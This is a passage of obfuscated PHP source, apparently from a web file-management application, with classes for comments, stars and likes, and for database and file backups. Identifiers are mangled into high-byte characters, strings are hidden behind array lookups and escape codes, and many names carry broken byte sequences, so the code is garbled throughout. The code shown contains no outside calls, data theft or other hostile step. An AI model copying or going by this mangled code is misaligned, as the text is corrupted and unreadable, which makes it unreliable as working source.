(!$Áôýꢬ || $Áôýꢬ[$ôÊ<E28099>í[1733]] != $ôÊ<E28099>í[91]) { return !1; } if ($Áôýꢬ[$ôÊ<E28099>í[171]] == $ôÊ<E28099>í[843]) { $ÅÝ„Þ§Ï = Model($ôÊ<E28099>í[837])->get($ôÊ<E28099>í[1317]); if ($ÅÝ„Þ§Ï == $ôÊ<E28099>í[1318]) { $Áôýꢬ[$ôÊ<E28099>í[171]] = $ôÊ<E28099>í[1204]; } } $®íÈ¡<C388>ã = $this->process(); foreach ($®íÈ¡<C388>ã as $ûßîê̾) { if ($ûßîê̾) { return Task::restart($ûßîê̾[$ôÊ<E28099>í[475]]); } } $†½Ä¨ø² = new Backup(); $…î…‘¿Ð = $†½Ä¨ø²->db(); if ($…î…‘¿Ð) { $…î…‘¿Ð = $†½Ä¨ø²->dbFile(); if ($…î…‘¿Ð && $Áôýꢬ[$ôÊ<E28099>í[171]] == $ôÊ<E28099>í[843]) { $…î…‘¿Ð = $†½Ä¨ø²->file(); } } Backup::set(array($ôÊ<E28099>í[817] => 1, $ôÊ<E28099>í[828] => time())); return !0; } public function process() { $‰<>ÀΉ£ =& $_SERVER[ˆ¡¹µ‹Â]; $ˆóœëœ² = array($‰<>ÀΉ£[824] => Task::get($‰<>ÀΉ£[857]), $‰<>ÀΉ£[829] => Task::get($‰<>ÀΉ£[875]), $‰<>ÀΉ£[230] => Task::get($‰<>ÀΉ£[884])); $æ›ôÔ„ã = !1; foreach ($ˆóœëœ² as &$Äèî ªó) { if ($æ›ôÔ„ã) { $Äèî ªó = !1; continue; } if ($Äèî ªó) { $ƒúލ‹¨ = intval(_get($Äèî ªó, $‰<>ÀΉ£[1768], 0)); if (time() - $ƒúލ‹¨ > 7200) { Task::kill($Äèî ªó[$‰<>ÀΉ£[475]]); $æ›ôÔ„ã = !0; $Äèî ªó = !1; } } } return $ˆóœëœ²; } public function restore() { $úèšîùó =& $_SERVER[ˆ¡¹µ‹Â]; ActionCall($úèšîùó[1131], !0, 1); ActionCall($úèšîùó[1131], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\145\156\164"; protected $tableMeta = array("\164\141\x62\x6c\145\x4e\x61\155\145" => "\143\157\x6d\x6d\x65\156\164\137\155\x65\x74\x61", "\x6d\145\x74\141\106\151\145\x6c\144" => "\143\x6f\x6d\155\145\x6e\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($¾þÛ¨ˆï) { $<24>ÓëÕ‰<C395> =& $_SERVER[ˆ¡¹µ‹Â]; if ($¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[1991]]) { $„Ðò÷¡ë = $this->where(array($<24>ÓëÕ‰<C395>[1992] => $¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[1991]]))->find(); if (!$„Ðò÷¡ë || $„Ðò÷¡ë[$<24>ÓëÕ‰<C395>[190]] != $¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[190]] || $„Ðò÷¡ë[$<24>ÓëÕ‰<C395>[569]] != $¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[569]]) { return !1; } $this->where(array($<24>ÓëÕ‰<C395>[1992] => $¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[1991]]))->setAdd($<24>ÓëÕ‰<C395>[1993], 1); } $¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[1994]] = 0; $¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[1993]] = 0; $¾þÛ¨ˆï[$<24>ÓëÕ‰<C395>[817]] = 1; return $this->add($¾þÛ¨ˆï); } public function commentCount($ì’í·±¦, $äµüÖ<E2809A>, $ËÎÏÖç  = false) { $Ñôñ¸ªŠ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ì’í·±¦) { return array(); } if (is_string($ì’í·±¦) || is_int($ì’í·±¦)) { $ì’í·±¦ = array($ì’í·±¦); } $¹±Þ<C2B1>ÓÛ = array($Ñôñ¸ªŠ[569], $Ñôñ¸ªŠ[1995] => $Ñôñ¸ªŠ[565]); $ž³™·‡Ý = array($Ñôñ¸ªŠ[569] => array($Ñôñ¸ªŠ[7], $ì’í·±¦), $Ñôñ¸ªŠ[190] => $äµüÖ<E2809A>); if ($ËÎÏÖç ) { $ž³™·‡Ý[$Ñôñ¸ªŠ[1763]] = $ËÎÏÖç ; } $ ¥—¥Ñ§ = $this->field($¹±Þ<C2B1>ÓÛ)->where($ž³™·‡Ý)->group($Ñôñ¸ªŠ[569])->select(); return array_to_keyvalue($ ¥—¥Ñ§, $Ñôñ¸ªŠ[569], $Ñôñ¸ªŠ[565]); } public function starTarget($îîÁÑ ç, $‡å<E280A1>ð¡ï) { $Œ¶ŽÅæá =& $_SERVER[ˆ¡¹µ‹Â]; $ì•Ëð”× = $îîÁÑ ç + self::TYPE_STAR_OFFSET; $ùíä<C3AD>Å = array($Œ¶ŽÅæá[1763] => USER_ID, $Œ¶ŽÅæá[190] => $ì•Ëð”×, $Œ¶ŽÅæá[569] => $‡å<E280A1>ð¡ï); $ú‘îñ­ª = $this->where($ùíä<C3AD>Å)->find(); if ($ú‘îñ­ª) { return $this->where(array($Œ¶ŽÅæá[475] => $ú‘îñ­ª[$Œ¶ŽÅæá[475]]))->delete(); } $¶©¢öÌ‘ = array($Œ¶ŽÅæá[1991] => 0, $Œ¶ŽÅæá[1763] => USER_ID, $Œ¶ŽÅæá[817] => 1, $Œ¶ŽÅæá[171] => $Œ¶ŽÅæá[12], $Œ¶ŽÅæá[190] => $ì•Ëð”×, $Œ¶ŽÅæá[569] => $‡å<E280A1>ð¡ï, $Œ¶ŽÅæá[1994] => 0, $Œ¶ŽÅæá[1993] => 0); return $this->add($¶©¢öÌ‘); } public function starTargetCount($“<>ôÊÅÑ, $Š¿æŠž±) { $‘ÈÄäÀ• =& $_SERVER[ˆ¡¹µ‹Â]; $ÙÆá¡«æ = $Š¿æŠž± + self::TYPE_STAR_OFFSET; $¾þþŠ£œ = $this->commentCount($“<>ôÊÅÑ, $ÙÆá¡«æ); $†™¡öÂÎ = $this->commentCount($“<>ôÊÅÑ, $ÙÆá¡«æ, USER_ID); return array($‘ÈÄäÀ•[1996] => $¾þþŠ£œ, $‘ÈÄäÀ•[1997] => $†™¡öÂÎ); } public function starTargetUserList($è¾¥øý®, $üŠøã÷†) { $­‘ÔÒÓÅ =& $_SERVER[ˆ¡¹µ‹Â]; $àÛùñ¡Ö = $è¾¥øý® + self::TYPE_STAR_OFFSET; $ÇÚ·œ¯ý = array($­‘ÔÒÓÅ[569] => $üŠøã÷†, $­‘ÔÒÓÅ[190] => $àÛùñ¡Ö); $¸›ê†‰§ = $this->where($ÇÚ·œ¯ý)->count(); $éùæ˜îð = array($­‘ÔÒÓÅ[332] => $¸›ê†‰§, $­‘ÔÒÓÅ[1998] => array()); if (!$¸›ê†‰§) { return $éùæ˜îð; } $èä›­Ì¡ = $this->field($­‘ÔÒÓÅ[1763])->where($ÇÚ·œ¯ý)->limit(500)->select(); $èä›­Ì¡ = array_to_keyvalue($èä›­Ì¡, $­‘ÔÒÓÅ[12], $­‘ÔÒÓÅ[1763]); $éùæ˜îð[$­‘ÔÒÓÅ[1998]] = Model($­‘ÔÒÓÅ[577])->userListInfo($èä›­Ì¡); return $éùæ˜îð; } public function prasiseUserList($‹ñÁ©†—) { $ˆ¸–½¾ö =& $_SERVER[ˆ¡¹µ‹Â]; $¼¨è›¯Œ = array($ˆ¸–½¾ö[1999] => $‹ñÁ©†—); $ûà<C3BB>¤Ü™ = $this->where($¼¨è›¯Œ)->find(); $…ÉÆŸ›ó = _get($ûà<C3BB>¤Ü™, $ˆ¸–½¾ö[1994], 0); $„°ÞšÛ• = array($ˆ¸–½¾ö[332] => $…ÉÆŸ›ó, $ˆ¸–½¾ö[1998] => array()); if (!$…ÉÆŸ›ó) { return $„°ÞšÛ•; } $§’“þ½ü = Model($ˆ¸–½¾ö[2000])->field($ˆ¸–½¾ö[1763])->where($¼¨è›¯Œ)->limit(500)->select(); $§’“þ½ü = array_to_keyvalue($§’“þ½ü, $ˆ¸–½¾ö[12], $ˆ¸–½¾ö[1763]); $„°ÞšÛ•[$ˆ¸–½¾ö[1998]] = Model($ˆ¸–½¾ö[577])->userListInfo($§’“þ½ü); return $„°ÞšÛ•; } public function remove($æñÌã»Á) { $Ï×’²Ì„ =& $_SERVER[ˆ¡¹µ‹Â]; $Ý¢îþÏŸ = array($Ï×’²Ì„[1992] => $æñÌã»Á); $‘Ížéôô = $this->where($Ý¢îþÏŸ)->find(); if ($‘Ížéôô[$Ï×’²Ì„[1991]]) { $this->where(array($Ï×’²Ì„[1992] => $‘Ížéôô[$Ï×’²Ì„[1991]]))->setAdd($Ï×’²Ì„[1993], -1); } return $this->where($Ý¢îþÏŸ)->delete(); } public function edit($ŽÞ´ÞØ€, $ïÝã«Øê) { $ö£¿§žÁ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>­â£×ë = array($ö£¿§žÁ[1992] => $ŽÞ´ÞØ€); return $this->where($<24>­â£×ë)->save(array($ö£¿§žÁ[2001] => $ïÝã«Øê)); } public function prasise($À€êÈÊþ) { $ÆÜá Œ¿ =& $_SERVER[ˆ¡¹µ‹Â]; $Ú˜‡¦¸¸ = Model($ÆÜá Œ¿[2002]); $ŒÄøüŸ´ = array($ÆÜá Œ¿[1992] => $À€êÈÊþ, $ÆÜá Œ¿[1754] => USER_ID); $Ãϖ˵½ = $Ú˜‡¦¸¸->where($ŒÄøüŸ´)->find(); if (!$Ãϖ˵½) { $Ú˜‡¦¸¸->add($ŒÄøüŸ´); $Þ¡ýÃÑ<C383> = $this->where(array($ÆÜá Œ¿[1992] => $À€êÈÊþ))->setAdd($ÆÜá Œ¿[1994], 1); } else { $Ú˜‡¦¸¸->where($ŒÄøüŸ´)->delete(); $Þ¡ýÃÑ<C383> = $this->where(array($ÆÜá Œ¿[1992] => $À€êÈÊþ))->setAdd($ÆÜá Œ¿[1994], -1); } return $Þ¡ýÃÑ<C383>; } public function targetInfo($Ô£Ëø³Î, $ð¡<C3B0>†Ã) { $„ú¸é<C2B8> =& $_SERVER[ˆ¡¹µ‹Â]; $…צƹã = array($„ú¸é<C2B8>[648] => $Ô£Ëø³Î, $„ú¸é<C2B8>[649] => $ð¡<C3B0>†Ã); $Õ€Á¢²Ê = $this->where($…צƹã)->count(); $Û•€ú‹ü = "\x52\x49\x47\110\x54\x20\112\x4f\111\x4e\x20{$this->tablePrefix}\143\157\155\x6d\x65\x6e\164\x5f\160\162\141\151\163\x65\40\x73\164\x61\x72\40\157\156\40\143\x6f\x6d\155\145\x6e\164\x2e\x63\x6f\155\155\x65\156\x74\x49\x44\40\75\x20\x73\x74\141\162\56\x63\x6f\155\155\x65\156\x74\111\104"; $ËæËïÝð = $this->alias($„ú¸é<C2B8>[430])->where($…צƹã)->join($Û•€ú‹ü, $„ú¸é<C2B8>[2003])->count(); $<24>ËŠ µ = array($„ú¸é<C2B8>[2004] => $Õ€Á¢²Ê, $„ú¸é<C2B8>[2005] => $ËæËïÝð); return $<24>ËŠ µ; } public function listData($å·’“ˆþ) { $ô´¶ß…œ =& $_SERVER[ˆ¡¹µ‹Â]; if (isset($å·’“ˆþ[$ô´¶ß…œ[2006]])) { if ($å·’“ˆþ[$ô´¶ß…œ[2006]]) { $å·’“ˆþ[$ô´¶ß…œ[1999]] = array($ô´¶ß…œ[1085], intval($å·’“ˆþ[$ô´¶ß…œ[2006]])); } unset($å·’“ˆþ[$ô´¶ß…œ[2006]]); } if (isset($å·’“ˆþ[$ô´¶ß…œ[2007]])) { if ($å·’“ˆþ[$ô´¶ß…œ[2007]]) { $å·’“ˆþ[$ô´¶ß…œ[1999]] = array($ô´¶ß…œ[1082], intval($å·’“ˆþ[$ô´¶ß…œ[2007]])); } unset($å·’“ˆþ[$ô´¶ß…œ[2007]]); } return $this->_listData($å·’“ˆþ); } private function _listData($«éåÛœ<C39B>) { $‘ú½¯Òõ =& $_SERVER[ˆ¡¹µ‹Â]; $ù쟗Œˆ = $this->where($«éåÛœ<C39B>)->_makeOrder()->selectPage(100); $this->_listAppendParent($ù쟗Œˆ[$‘ú½¯Òõ[445]]); $this->_listAppendUser($ù쟗Œˆ[$‘ú½¯Òõ[445]]); $this->_listAppendMeta($ù쟗Œˆ[$‘ú½¯Òõ[445]]); return $ù쟗Œˆ; } private function _makeOrder() { $Ò•¿óµ÷ =& $_SERVER[ˆ¡¹µ‹Â]; $ÏË¿ÚÈ” = array($Ò•¿óµ÷[1994], $Ò•¿óµ÷[1993], $Ò•¿óµ÷[231]); $ΊÄúʃ = Input::get($Ò•¿óµ÷[530], $Ò•¿óµ÷[7], $Ò•¿óµ÷[497], $ÏË¿ÚÈ”); $ë³¶Éäö = Input::get($Ò•¿óµ÷[531], $Ò•¿óµ÷[7], $Ò•¿óµ÷[1756], array($Ò•¿óµ÷[2008], $Ò•¿óµ÷[526])); $áú¹ñžŸ = $ΊÄúʃ . $Ò•¿óµ÷[53] . $ë³¶Éäö; return $this->order($áú¹ñžŸ); } private function _listAppendParent(&$ï«ÎŸŠû) { $©óæ¼×„ =& $_SERVER[ˆ¡¹µ‹Â]; $Ò­ÛÄɵ = array_unique(array_to_keyvalue($ï«ÎŸŠû, $©óæ¼×„[12], $©óæ¼×„[1991])); $Ò­ÛÄɵ = array_remove_value($Ò­ÛÄɵ, $©óæ¼×„[228]); if (!$Ò­ÛÄɵ) { return; } $’ÀËùñÀ = $this->where(array($©óæ¼×„[1992] => array($©óæ¼×„[7], $Ò­ÛÄɵ)))->select(); $’ÀËùñÀ = array_to_keyvalue($’ÀËùñÀ, $©óæ¼×„[1999]); foreach ($ï«ÎŸŠû as &$ÙÈÒŒŒ÷) { if (isset($’ÀËùñÀ[$ÙÈÒŒŒ÷[$©óæ¼×„[1991]]])) { $ÙÈÒŒŒ÷[$©óæ¼×„[2009]] = $’ÀËùñÀ[$ÙÈÒŒŒ÷[$©óæ¼×„[1991]]]; } } unset($ÙÈÒŒŒ÷); } private function _listAppendUser(&$–Û…Ž–ñ) { $ÆÐÂ<C390>ýŒ =& $_SERVER[ˆ¡¹µ‹Â]; $<24>¬ÞµËë = array_unique(array_to_keyvalue($–Û…Ž–ñ, $ÆÐÂ<C390>ýŒ[12], $ÆÐÂ<C390>ýŒ[1763])); $<24>¬ÞµËë = array_remove_value($<24>¬ÞµËë, $ÆÐÂ<C390>ýŒ[228]); if (count($<24>¬ÞµËë) == 0) { return; } foreach ($–Û…Ž–ñ as $ʼnúš…Ú) { if (isset($ʼnúš…Ú[$ÆÐÂ<C390>ýŒ[2009]])) { $<24>¬ÞµËë[] = $ʼnúš…Ú[$ÆÐÂ<C390>ýŒ[2009]][$ÆÐÂ<C390>ýŒ[1763]]; } } $àá鯸ã = Model($ÆÐÂ<C390>ýŒ[598])->userListInfo($<24>¬ÞµËë); foreach ($–Û…Ž–ñ as &$ʼnúš…Ú) { $ʼnúš…Ú[$ÆÐÂ<C390>ýŒ[662]] = $àá鯸ã[$ʼnúš…Ú[$ÆÐÂ<C390>ýŒ[1763]]]; if (isset($ʼnúš…Ú[$ÆÐÂ<C390>ýŒ[2009]])) { $ʼnúš…Ú[$ÆÐÂ<C390>ýŒ[2009]][$ÆÐÂ<C390>ýŒ[662]] = $àá鯸ã[$ʼnúš…Ú[$ÆÐÂ<C390>ýŒ[2009]][$ÆÐÂ<C390>ýŒ[1763]]]; } } unset($ʼnúš…Ú); } private function _listAppendMeta(&$õÍæò²‡) { $×ÒÁ”ßÍ =& $_SERVER[ˆ¡¹µ‹Â]; $Úñ‹À¬® = array_unique(array_to_keyvalue($õÍæò²‡, $×ÒÁ”ßÍ[12], $×ÒÁ”ßÍ[1999])); $Úñ‹À¬® = array_remove_value($Úñ‹À¬®, $×ÒÁ”ßÍ[228]); if (!$Úñ‹À¬®) { return; } foreach ($õÍæò²‡ as $ß®ØÂ±¦) { if (isset($ß®ØÂ±¦[$×ÒÁ”ßÍ[2009]])) { $Úñ‹À¬®[] = $ß®ØÂ±¦[$×ÒÁ”ßÍ[2009]][$×ÒÁ”ßÍ[1999]]; } } $šÍ¤É‚© = $this->metaList($Úñ‹À¬®); if (!$šÍ¤É‚©) { return !1; } foreach ($õÍæò²‡ as &$ß®ØÂ±¦) { $ß®ØÂ±¦[$×ÒÁ”ßÍ[539]] = $šÍ¤É‚©[$ß®ØÂ±¦[$×ÒÁ”ßÍ[1999]]]; if (isset($ß®ØÂ±¦[$×ÒÁ”ßÍ[2009]])) { $ß®ØÂ±¦[$×ÒÁ”ßÍ[2009]][$×ÒÁ”ßÍ[539]] = $šÍ¤É‚©[$ß®ØÂ±¦[$×ÒÁ”ßÍ[2009]][$×ÒÁ”ßÍ[1999]]]; } } unset($ß®ØÂ±¦); } private function metaList($ñ¬ÔâÏ) { $塱››Ç =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ñ¬ÔâÏ) { return array(); } $‹€«âûó = array($塱››Ç[1999] => array($塱››Ç[7], $ñ¬ÔâÏ)); $©ï‡Áòø = Model($塱››Ç[2010])->where($‹€«âûó)->select(); $©ï‡Áòø = array_to_keyvalue_group($©ï‡Áòø, $塱››Ç[1999]); foreach ($©ï‡Áòø as $¼¯›Äݱ => $ªØãüß¾) { $ð§ÏÍÜ“ = array(); foreach ($ªØãüß¾ as $ýéÏ×£<C397>) { $ð§ÏÍÜ“[$ýéÏ×£<C397>[$塱››Ç[97]]] = $ýéÏ×£<C397>[$塱››Ç[450]]; } $©ï‡Áòø[$¼¯›Äݱ] = $ð§ÏÍÜ“; } return $©ï‡Áòø ? $©ï‡Áòø : array(); } public function removeTarget($žúɈ¿Ú, $÷¨Ù¤½º) { $ã¬±ÚÆû =& $_SERVER[ˆ¡¹µ‹Â]; if (!$÷¨Ù¤½º) { return !0; } $÷¨Ù¤½º = is_array($÷¨Ù¤½º) ? $÷¨Ù¤½º : array($÷¨Ù¤½º); $¾ÁÌÁïï = array($ã¬±ÚÆû[190] => $žúɈ¿Ú, $ã¬±ÚÆû[569] => array($ã¬±ÚÆû[7], $÷¨Ù¤½º)); $¤Ïƒ“í = $this->field($ã¬±ÚÆû[1999])->where($¾ÁÌÁïï)->select(); $”í먗Á = array_to_keyvalue($¤Ïƒ“í, $ã¬±ÚÆû[12], $ã¬±ÚÆû[1999]); if (!$”í먗Á) { return !0; } $¾ÁÌÁïï = array($ã¬±ÚÆû[1999] => array($ã¬±ÚÆû[7], $”í먗Á)); $this->where($¾ÁÌÁïï)->delete(); Model($ã¬±ÚÆû[2002])->where($¾ÁÌÁïï)->delete(); Model($ã¬±ÚÆû[2011])->where($¾ÁÌÁïï)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "\x69\157\x5f\146\x69\154\x65\137\143\x6f\156\x74\145\x6e\164\163"; protected $dataAuto = array(array("\x63\x72\x65\141\164\x65\x54\x69\x6d\x65", "\x74\151\155\x65", "\x69\x6e\x73\145\x72\x74", "\x66\165\156\143\164\151\x6f\x6e")); } goto B÷®É¢Ó®ö; CãŒÞÀ®²Õ: define($_SERVER[ˆ¡¹µ‹Â][317], 3); define($_SERVER[ˆ¡¹µ‹Â][318], 1); define($_SERVER[ˆ¡¹µ‹Â][319], 0); goto Dë Èù·÷Ã; CÐÑÝâíÄÛ: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ñßü˜Æ— =& $_SERVER[ˆ¡¹µ‹Â]; $éÐÊÓ…× = Backup::get(); self::$io = $éÐÊÓ…×[$ñßü˜Æ—[819]]; self::$name = $éÐÊÓ…×[$ñßü˜Æ—[32]]; $<24>ðÂÓì« = new DbManage(); $ŽŠŸì<C5B8>¼ = $<24>ðÂÓì«->dbType(); $†—±Ðï¡ = array($ñßü˜Æ—[852] => $ŽŠŸì<C5B8>¼, $ñßü˜Æ—[853] => time()); Backup::set($†—±Ðï¡); $ËÝ‹†ý· = $this->tmpFilesPath() . $ñßü˜Æ—[854] . self::$name . $ñßü˜Æ—[8]; del_dir($ËÝ‹†ý·); mk_dir($ËÝ‹†ý·); $ÚÝÕææ = $ž—݀ܟ = 0; try { $¡£»<C2A3>«Ì = $<24>ðÂÓì«->db()->getTables(); } catch (Exception $úÑ<C3BA><EFBFBD>¹) { return !1; } $¡£»<C2A3>«Ì = array_diff($¡£»<C2A3>«Ì, array($ñßü˜Æ—[855], $ñßü˜Æ—[856])); foreach ($¡£»<C2A3>«Ì as $ëÏω͸) { $ÚÝÕææ += $<24>ðÂÓì«->model($ëÏω͸)->count(); } $“öˆ“ä<E2809C> = new Task($ñßü˜Æ—[857], $ñßü˜Æ—[858], $ÚÝÕææ, LNG($ñßü˜Æ—[859]) . $ñßü˜Æ—[860] . LNG($ñßü˜Æ—[861])); $GLOBALS[$ñßü˜Æ—[862]] = self::$name; foreach ($¡£»<C2A3>«Ì as $ëÏω͸) { $̸ӱß = $ËÝ‹†ý· . $ëÏω͸ . $ñßü˜Æ—[863]; $Öô<C396>üúÇ = null; if ($ëÏω͸ == $ñßü˜Æ—[864] && (!isset($éÐÊÓ…×[$ñßü˜Æ—[171]]) || $éÐÊÓ…×[$ñßü˜Æ—[171]] == $ñßü˜Æ—[228])) { $Öô<C396>üúÇ = self::$io; } $ž—݀ܟ += $<24>ðÂÓì«->sqlFromDb($ëÏω͸, $̸ӱßÂ, $“öˆ“ä<E2809C>, $Öô<C396>üúÇ); } unset($GLOBALS[$ñßü˜Æ—[862]]); $“öˆ“ä<E2809C>->end(); if ($ž—݀ܟ > $ÚÝÕææ) { $ÚÝÕææ = $ž—݀ܟ; } $†—±Ðï¡ = array($ñßü˜Æ—[852] => $ŽŠŸì<C5B8>¼, $ñßü˜Æ—[840] => 1, $ñßü˜Æ—[865] => $ÚÝÕææ, $ñßü˜Æ—[866] => $ž—݀ܟ, $ñßü˜Æ—[867] => time()); Backup::set($†—±Ðï¡); if ($ÚÝÕææ - $ž—݀ܟ > 0) { $Ñú‹Ãè‚ = $ñßü˜Æ—[868]; if (!stristr(I18n::getType(), $ñßü˜Æ—[869])) { $Ñú‹Ãè‚ = $ñßü˜Æ—[870]; } write_log(array($Ñú‹Ãè‚, $†—±Ðï¡), $ñßü˜Æ—[858]); return !1; } return !0; } private function tmpFilesPath() { $󳉶Ũ =& $_SERVER[ˆ¡¹µ‹Â]; $î<>Œ¼³‰ = TEMP_FILES; if ($GLOBALS[$󳉶Ũ[6]][$󳉶Ũ[92]][$󳉶Ũ[871]]) { $î<>Œ¼³‰ = $GLOBALS[$󳉶Ũ[6]][$󳉶Ũ[92]][$󳉶Ũ[871]]; if (!mk_dir($î<>Œ¼³‰) || !is_writable($î<>Œ¼³‰) || !IO::mkfile($î<>Œ¼³‰ . $󳉶Ũ[872])) { $î<>Œ¼³‰ = TEMP_FILES; } } return $î<>Œ¼³‰; } } class BackupDbFile { public function __construct() { } public function index() { $Åöƒ”Þ³ =& $_SERVER[ˆ¡¹µ‹Â]; $‘†ö¼ßÉ = Backup::get(); $îÑî­õ¿ = $‘†ö¼ßÉ[$Åöƒ”Þ³[32]]; $©¨<C2A9>ì<EFBFBD>Æ = $this->tmpFilesPath() . "\x62\x61\143\153\165\160\137{$îÑî­õ¿}\57"; $ÖЇ»€® = $this->backupPath($‘†ö¼ßÉ); if (!($ÖЇ»€® = IO::mkdir($ÖЇ»€®))) { return !1; } $¿ÌÞŽÙ— = IO::listPath($©¨<C2A9>ì<EFBFBD>Æ); $ñÞê<C39E>Ú = isset($¿ÌÞŽÙ—[$Åöƒ”Þ³[86]]) ? $¿ÌÞŽÙ—[$Åöƒ”Þ³[86]] : array(); $âØ<C3A2> ž˜ = array_sum(array_column($ñÞê<C39E>Ú, $Åöƒ”Þ³[79])); if (!$âØ<C3A2> ž˜) { return !1; } $Òñ«ü»Ù = array($Åöƒ”Þ³[873] => $âØ<C3A2> ž˜, $Åöƒ”Þ³[874] => time()); Backup::set($Òñ«ü»Ù); $’ÞûÆÍÖ = new TaskFileTransfer($Åöƒ”Þ³[875], $Åöƒ”Þ³[858], count($ñÞê<C39E>Ú), LNG($Åöƒ”Þ³[859]) . $Åöƒ”Þ³[462] . LNG($Åöƒ”Þ³[861]) . $Åöƒ”Þ³[876]); $’ÞûÆÍÖ->task[$Åöƒ”Þ³[830]] = $âØ<C3A2> ž˜; foreach ($¿ÌÞŽÙ—[$Åöƒ”Þ³[86]] as $ñ©æŸ••) { $Èè¥Ç”È = IO::move($ñ©æŸ••[$Åöƒ”Þ³[87]], $ÖЇ»€®); if (!$Èè¥Ç”È) { $’ÞûÆÍÖ->end(); $œ<>“¾ = IO::getLastError($Åöƒ”Þ³[877] . $ñ©æŸ••[$Åöƒ”Þ³[87]] . $Åöƒ”Þ³[878] . $ÖЇ»€® . $Åöƒ”Þ³[178]); write_log($œ<>“¾, $Åöƒ”Þ³[858]); return !1; } } $啱Ÿþœ = new DbManage(); $ò<>Ô®¨ = $啱Ÿþœ->getSqlFile(); if (!$ò<>Ô®¨[$Åöƒ”Þ³[879]] || !$ò<>Ô®¨[$Åöƒ”Þ³[13]]) { return !1; } IO::move($ò<>Ô®¨[$Åöƒ”Þ³[879]], $ÖЇ»€®); IO::move($ò<>Ô®¨[$Åöƒ”Þ³[13]], $ÖЇ»€®); $’ÞûÆÍÖ->end(); $Òñ«ü»Ù = array($Åöƒ”Þ³[880] => $âØ<C3A2> ž˜, $Åöƒ”Þ³[881] => time()); Backup::set($Òñ«ü»Ù); return !0; } private function backupPath($Þ½ùÅ ) { $ãä»ó³€ =& $_SERVER[ˆ¡¹µ‹Â]; $ë»ó×ÚÑ = $Þ½ùÅ [$ãä»ó³€[32]]; $œ¸<C2B8>à— = Model($ãä»ó³€[837])->get($ãä»ó³€[838]); $†Ãòþ²æ = substr(md5($ãä»ó³€[839] . $œ¸<C2B8>à— . $ë»ó×ÚÑ), 0, 8); return "\x7b\x69\157\72{$Þ½ùÅ [$ãä»ó³€[819]]}\x7d\57\x64\141\164\x61\142\x61\163\x65\x2f\142\x61\143\x6b\x75\160\x2f" . $ë»ó×ÚÑ . $ãä»ó³€[11] . $†Ãòþ²æ; } private function tmpFilesPath() { $·½×ñÞ<C3B1> =& $_SERVER[ˆ¡¹µ‹Â]; $†µÊ<C2B5>ÌÔ = TEMP_FILES; if ($GLOBALS[$·½×ñÞ<C3B1>[6]][$·½×ñÞ<C3B1>[92]][$·½×ñÞ<C3B1>[871]]) { $†µÊ<C2B5>ÌÔ = $GLOBALS[$·½×ñÞ<C3B1>[6]][$·½×ñÞ<C3B1>[92]][$·½×ñÞ<C3B1>[871]]; if (!mk_dir($†µÊ<C2B5>ÌÔ) || !is_writable($†µÊ<C2B5>ÌÔ) || !IO::mkfile($†µÊ<C2B5>ÌÔ . $·½×ñÞ<C3B1>[872])) { $†µÊ<C2B5>ÌÔ = TEMP_FILES; } } return $†µÊ<C2B5>ÌÔ; } } class BackupFile { public function __construct() { } public function index() { $<24>ƒÆÒöÝ = Backup::get(); $Û´¼¶äç = $<24>ƒÆÒöÝ[$_SERVER[ˆ¡¹µ‹Â][369]][$_SERVER[ˆ¡¹µ‹Â][230]][$_SERVER[ˆ¡¹µ‹Â][541]]; $ó×êè<C3AA><C3A8> = array($_SERVER[ˆ¡¹µ‹Â][542] => array($_SERVER[ˆ¡¹µ‹Â][882], $Û´¼¶äç), $_SERVER[ˆ¡¹µ‹Â][883] => array($_SERVER[ˆ¡¹µ‹Â][407], $<24>ƒÆÒöÝ[$_SERVER[ˆ¡¹µ‹Â][819]])); $<24>ù™Žü¾ = (int) Model($_SERVER[ˆ¡¹µ‹Â][864])->where($ó×êè<C3AA><C3A8>)->count($_SERVER[ˆ¡¹µ‹Â][541]); $˜¨<CB9C>¨»¸ = (int) Model($_SERVER[ˆ¡¹µ‹Â][864])->where($ó×êè<C3AA><C3A8>)->sum($_SERVER[ˆ¡¹µ‹Â][79]); $ŒËùÖú§ = new TaskFileTransfer($_SERVER[ˆ¡¹µ‹Â][884], $_SERVER[ˆ¡¹µ‹Â][858], $<24>ù™Žü¾, LNG($_SERVER[ˆ¡¹µ‹Â][859]) . $_SERVER[ˆ¡¹µ‹Â][860] . LNG($_SERVER[ˆ¡¹µ‹Â][885])); $ŒËùÖú§->task[$_SERVER[ˆ¡¹µ‹Â][830]] = $˜¨<CB9C>¨»¸; $¼Æ‹ñ†Ö = array($_SERVER[ˆ¡¹µ‹Â][886] => $<24>ù™Žü¾, $_SERVER[ˆ¡¹µ‹Â][887] => $˜¨<CB9C>¨»¸, $_SERVER[ˆ¡¹µ‹Â][888] => time()); Backup::set($¼Æ‹ñ†Ö); $³†¹Ïº± = !0; $<24><>Òðé = $this->storeIds(); $<24>§Ï†Ô = 1; $§ÂøÂò« = 1000; $êš§‚ü = $çË·<C38B>Äù = 0; $ÂÙÉÜ£É = array(); $ÓàÄËÞ˜ = $ÊÝ•çù¡ = 0; do { $ô·áѶ‚ = $_SERVER[ˆ¡¹µ‹Â][889]; $Ô¶þ´«» = Model($_SERVER[ˆ¡¹µ‹Â][864])->where($ó×êè<C3AA><C3A8>)->field($ô·áѶ‚)->order($_SERVER[ˆ¡¹µ‹Â][890])->selectPage($§ÂøÂò«, $<24>§Ï†Ô); $–ýÎÛ­† = !empty($Ô¶þ´«»[$_SERVER[ˆ¡¹µ‹Â][445]]) ? $Ô¶þ´«»[$_SERVER[ˆ¡¹µ‹Â][445]] : array(); foreach ($–ýÎÛ­† as $ñœæ¡Øß) { if 